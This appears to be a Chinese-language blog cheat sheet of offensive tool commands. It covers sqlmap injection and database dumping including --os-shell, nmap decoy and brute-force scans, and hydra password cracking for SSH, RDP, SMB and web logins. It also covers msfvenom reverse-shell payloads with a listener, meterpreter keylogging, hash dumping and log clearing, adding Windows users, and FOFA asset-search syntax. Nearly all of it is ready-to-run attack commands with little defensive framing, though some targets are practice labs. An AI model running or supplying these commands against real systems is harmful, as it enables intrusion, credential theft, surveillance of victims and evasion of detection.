常用攻击工具命令
2023-01-26 22:11:22
# 漏洞挖掘
1. sqlmap
1.1. sqlmap注入检测
| 功能 | 命令 |
|---|---|
| GET参数注入 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” sqlmap默认测试所有的GET和POST参数,但可以手动用-p参数设置想要测试的参数。例如:-p “id,user-anget” 当使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数 |
| POST参数注入 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1” –data=”id=1” sqlmap.py -r “c:\Users\fendo\Desktop\post.txt” -p n –dbs (-r表示加载一个文件,-p指定参数) |
| cookie注入 (level>=2时才会检测cookie) | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –level 2 sqlmap -r “/root/1.txt” (POST注入过程中,用 * 号指定cookie,这样就可以检测cookie。) |
| user-agent注入 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –level 3 sqlmap -r “/root/1.txt” (POST注入过程中,用 * 号指定user-agent,这样就可以检测user-agent。) |
| referer注入 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –level 3 sqlmap -r root/1.txt” (POST注入过程中,用 * 号指定referer,这样就可以检测referer。) |
| host注入 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –level 5 sqlmap -r root/1.txt” (POST注入过程中,用 * 号指定referer,这样就可以检测referer。) |
1.2. sqlmap获取数据库信息
| 功能 | 命令 |
|---|---|
| 查看数据库 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –dbs –batch |
| 查看数据库里面的表 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D security –tables –batch |
| 查看数据库表里面的列 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D security -T users –columns –batch |
| 查看数据库列里面的具体的值 | sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” -D security -T users -C password –dump –batch |
1.3. sqlmap获取shell
sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1” –os-shell
2. nmap
2.1. 附加参数介绍
| 附加参数 | 作用 |
|---|---|
| -Pn | 防止NMAP的发送初始数据包到目标机器,不检测主机存活 |
| -p- | 将扫描所有65535个端口 |
| -D | ip地址欺骗 nmap -D RND:5 ip (RND:为生成随机ip地址) |
| -p | 指定端口扫描 |
| -A | 全面扫描,综合扫描,是一种完整扫描目标信息的扫描方式 |
| -O | nmap进行OS探测 |
| -sS | TCP、SYN扫描(匿名扫描,默认不加类型,需要root权限,扫描速度快) |
| -sT | TCP全连接扫描(不需要root权限,TCP扫描的默认模式,端口状态和SYN相同,耗时长) |
| -sU | UDP扫描(扫描DNS,SNMP和DHCP等服务,更慢更困难) |
| -sI | 用于闲置扫描和发送数据包欺骗 |
| -sV | 指定nmap进行版本探测 |
| –version-trace | 显示具体探测细节 |
2.2. 利用脚本扫描
| 功能 | 命令 |
|---|---|
| 默认脚本扫描,主要搜索各种应用服务的信息,收集后,可再针对具体服务进行攻击 | nmap –script=default 192.168.88.131 |
| 检查是否存在常见漏洞 | nmap –script=vuln 192.168.1.104 |
| 提供暴力破解的方式,可对数据库、smb、snmp等进行简单密码的暴力猜解 | nmap –script=brute 192.168.88.131 |
| 利用FTP指定脚本对目标特定FTP协议进行密码爆破 | nmap –script=ftp-brute.nse 192.168.88.131 |
| 利用第三方的数据库或资源,例如进行whoise解析 | nmap –script=external 192.168.88.131 |
| 利用已知的漏洞入侵系统 | exploit |
| 模糊测试的脚本,发送异常的包到目标机,探测出潜在的漏洞 | fuzzer |
3. hydra
3.1. 附加参数介绍
| 附加参数 | 作用 |
|---|---|
| -l | 小写,指定用户名进行破解 |
| -L | 大写,指定用户的用户名字典 |
| -p | 小写,用于指定密码破解,很少使用,一般采用密码字典 |
| -P | 大写,用于指定密码字典 |
| -e ns | 额外的选项,n:空密码试探,s:使用指定账户和密码试探 |
| -M | 指定目标ip列表文件,批量破解 |
| -o | 指定结果输出文件 |
| -f | 找到第一对登录名或者密码的时候中止破解 |
| -t tasks | 同时运行的线程数,默认是16 |
| -w time | 设置最大超时时间,单位 |
| -v / -V | 显示详细过程 |
| -R | 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。) |
| -x | 自定义密码 |
3.2. 爆破
| 功能 | 命令 |
|---|---|
| 破解ssh | hydra -l 用户名 -p 密码 -t 线程数 -vV -e ns ip ssh hydra -l 用户名 -p 密码 -t 线程数 -o save.log -vV ip ssh |
| 破解ftp | hydra -l 用户名 -P 密码 -t 线程(默认16) -vV ip ftp hydra -l 用户名 -P 密码 -e ns -vV ip ftp |
| get方式提交,破解web登录 | hydra -l 用户名 -p 密码 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码 -t 线程 -vV -e ns -f ip http-get /admin/index.php |
| post方式提交,破解web登录 | hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form “login.php:id=^USER^&passwd=^PASS^: <title> wrong username or password </title>” (10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解, <title> 中的内容是表示错误猜解的返回信息提示。) |
| 破解https | hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https |
| 破解teamspeak | hydra -l 用户名 -P 密码 -s 端口号 -vV ip teamspeak |
| 破解cisco | hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable |
| 破解smb | hydra -l administrator -P pass.txt 10.36.16.18 smb |
| 破解pop3 | hydra -l muts -P pass.txt my.pop3.mail pop3 |
| 破解rdp | hydra ip rdp -l administrator -P pass.txt -V |
| 破解http-proxy | hydra -l admin -P pass.txt http-proxy://10.36.16.18 |
| 破解imap | hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN |
4. MSF
4.1. 普通攻击流程
msfconsole
search
相关漏洞
use
exploit
show options
set LHOST
ip
exploit
4.2. 反弹木马
windows32位: msfvenom -p windows/meterpreter/reverse_tcp LHOST=
192.168.223.132LPORT=12345-i 5 -f exe -o ~/桌面/test.exewindows64位: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=
192.168.223.132LPORT=12345-i 5 -f exe -o ~/桌面/test.exeLinux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
x.x.x.xLPORT=5555-a x86 –platform Linux -f elf > shell.elf
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
192.168.1.143
set LPORT
12345
exploit
当靶机运行test.exe文件后,即可在kali 端获取连接
4.2.1 msfvenom 参数说明
| 参数 | 作用 |
|---|---|
| -p | 指定需要使用的payload(攻击荷载) |
| -f | 指定输出格式 |
| -o | 指定创建好的payload的存放位置 |
| -i | 指定payload的编码次数 |
| -a | 指定payload的目标架构,例如x86 还是 x64 还是 x86_64 |
| –platform | 指定payload的目标平台 |
| PrependMigrate=true PrependMigrateProc=svchost.exe | 防止太显眼,msfvenom进程migrate,启动两个进程svchost.exe和shell.exe,PrependMigrate=true PrependMigrateProc=svchost.exe将进程默认迁移到svchost.exe中 (也可以写别的进程名) |
4.2.2. meterpreter 一些常用命令
| 命令 | 作用 |
|---|---|
| getwd | 当前目录 |
| dir | 查看所有文件 |
| cat c:\123.txt | |
| search -f cmd.exe | 搜索名为cmd.exe文件所在目录 |
upload 要上传的文件 -> 上传到的目录 |
上传文件 |
download 要下载的文件 要下载的目录 |
下载文件 |
| clearev | 清除日志 |
| getuid | 当前用户 |
| ps | 查看所用进程 |
| kill | 杀死某个进程 |
| sysinfo | 系统信息 |
| keyscan_start | 开始键盘记录 |
| keyscan_dump | 查看结果 |
| keyscan_stop | 停止键盘记录 |
| screenshot | 屏幕截图 |
| run vnc | 屏幕监控 |
| hashdump | 获取密文密码 |
| shell | 获取shell |
4.2.2.1 windows
| 命令 | 作用 |
|---|---|
| dir | 显示所有文件 |
| cd | 切换目录 |
| whoami | 查看当前用户级别 |
| net user | 查看用户列表 |
| net user 用户名 密码 /add | 添加用户 |
| net user 用户名 密码 | 更改用户密码 |
5. FOFA
使用方法
| 语法 | 功能 |
|---|---|
| title=”beijing” | 从标题中搜索“北京” |
| domain=”qq.com” | 搜索根域名带有qq.com的网站 |
| host=”qq.com” | 搜索host内所有带有qq.com的域名 |
| ip=”58.63.236.248” | 搜索ip相关信息 支持ip段搜索: ip=”111.1.1.1/16” |
| port=”6379” | 查找对应“6379”端口的资产 |
| body=”网络空间测绘” | 从html正文中搜索“网络空间测绘” |
| header=”elastic” | 从http头中搜索“elastic” |
| icp=”京ICP证030173号” | 查找备案号为“京ICP证030173号”的网站,搜索网站类型资产 |
| cert=”baidu” | 搜索证书(https或者imaps等)中带有baidu的资产 |
| server==”Microsoft-IIS/10” | 搜索IIS-10服务器 |
| app=”Microsoft-Exchange” | 搜索Microsoft-Exchange设备 |
| is_fraud=false | 排除仿冒/欺诈数据 |
| is_honeypot=false | 排除蜜罐数据,仅限FOFA高级会员使用 |
| os=”centos” | 搜索操作系统为CentOS资产 |
| country=”CN” | 搜索指定国家(编码)的资产 |
6. FTP远程连接命令
常用命令
| 功能 | 命令 |
|---|---|
| 连接FTP服务器 | ftp ip |
| 下载文件 | a) get remote-file local-file b) mget remote-files |
| 上传文件 | a) put local-file remote-file b) mput local-files |
| 断开连接 | bye |